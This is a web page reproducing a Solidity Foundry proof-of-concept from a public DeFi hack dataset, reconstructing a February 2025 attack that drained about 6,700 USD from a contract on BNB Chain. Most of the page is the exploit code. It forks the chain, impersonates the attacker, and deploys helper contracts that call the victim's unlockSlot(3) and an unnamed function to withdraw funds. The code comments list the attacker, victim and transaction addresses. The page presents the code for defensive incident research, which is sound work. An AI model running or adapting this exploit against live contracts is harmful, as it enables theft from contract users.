Skip to content
THREATWIRE

Public reproduction file

src/test/2025-02/unverified_35bc_exp.sol

Public reproduction file for dataset entry Unverified_35bc.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-02/unverified_35bc_exp.sol91 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 6700 USD
7// Attacker : https://bscscan.com/address/0xd75652ada2f6a140f2ffcd7cd20f34c21fbc3fbc
8// Attack Contract : https://bscscan.com/address/0x0a2f4da966319c14ee4c9f1a2bf04fe738df3ce5
9// Vulnerable Contract : https://bscscan.com/address/0xde91e6e937ec344e5a3c800539c41979c2d85278
10// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xd7a61b07ca4dc5966d00b3cc99b03c6ab2cee688fa13b30bea08f5142023777d
12// @Info
13// Vulnerable Contract Code :
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1893333680417890648
17// Twitter Guy : https://x.com/TenArmorAlert/status/1893333680417890648
18// Hacking God :
20address constant addr = 0xDE91E6E937Ec344e5a3C800539C41979c2d85278;
21address constant attacker = 0xD75652Ada2F6a140f2fFcD7CD20f34C21fbC3fBc;
24contract ContractTest is Test {
25 function setUp() public {
26 vm.createSelectFork("bsc", 46886078-1);
27 deal(attacker, 0.6 ether);
28 }
30 function testPoC() public {
31 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
32 vm.startPrank(attacker, attacker);
33 AttackerC attC = new AttackerC{value: 0.6 ether}();
34 vm.stopPrank();
35 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
36 }
39// 0x4634C13E68DDf52CEFd0a7a1E6002ab4747cDE7b
40contract AttackerC {
41 HelperB internal helper;
43 constructor() payable {
44 // create_1 contract 0x0A2f4DA966319C14Ee4C9f1A2BF04fE738DF3Ce5 with 0 wei
45 helper = new HelperB();
46 // call helper.attack with value = msg.value
47 (bool ok, ) = address(helper).call{value: msg.value}(abi.encodeWithSelector(HelperB.attack.selector));
48 if (!ok) {
49 // ignore failure
50 }
51 // call back to caller with value 3 * 10^15 * 3600 wei and gas 0
52 unchecked {
53 uint256 amt = 3 * 10**15 * 3600;
54 // use low-level call with zero gas forwarded is not possible in solidity; mimic by sending and ignoring result
55 (bool s, ) = payable(tx.origin).call{value: amt}("");
56 if (!s) {}
57 }
58 }
60 // receive to accept refunds
61 receive() external payable {}
64// Helper contract emulating 0x0A2f4DA966319C14Ee4C9f1A2BF04fE738DF3Ce5
65contract HelperB {
66 // Constructor: if keccak(tx.origin) == constant; no effect needed
67 constructor() {}
69 function attack() external payable {
70 // call addr.unlockSlot(3) with value msg.value
71 (bool ok1, ) = addr.call{value: msg.value}(abi.encodeWithSelector(bytes4(keccak256("unlockSlot(uint256)")), uint256(3)));
72 if (!ok1) {}
73 // call addr.unknown2dad6442(3) no value
74 (bool ok2, ) = addr.call(abi.encodeWithSelector(bytes4(0x2dad6442), uint256(3)));
75 if (!ok2) {}
76 // send 3 * 10^15 * 3600 wei to caller
77 unchecked {
78 uint256 amt = 3 * 10**15 * 3600;
79 (bool s, ) = payable(msg.sender).call{value: amt}("");
80 if (!s) {}
81 }
82 }
84 fallback() external payable {
85 // call caller.unknown2dad6442(3)
86 (bool ok, ) = addr.call(abi.encodeWithSelector(bytes4(0x2dad6442), uint256(3)));
87 if (!ok) {}
88 }
90 // receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Unverified_35bc” (2025-02-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd75652ada2f6a140f2ffcd7cd20f34c21fbc3fbc

  • Attack Contract

    0x0a2f4da966319c14ee4c9f1a2bf04fe738df3ce5

  • Vulnerable Contract

    0xde91e6e937ec344e5a3c800539c41979c2d85278

  • Attack Tx

    0xd7a61b07ca4dc5966d00b3cc99b03c6ab2cee688fa13b30bea08f5142023777d

File record

Name
Unverified_35bc
Path
src/test/2025-02/unverified_35bc_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a0d64d82522717f3b20946bb98c67e9043c0955a
Language
Solidity
Size
91 lines
Date
2025-02-22
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2025-02/unverified_35bc_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a0d64d82522717f3b20946bb98c67e9043c0955a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.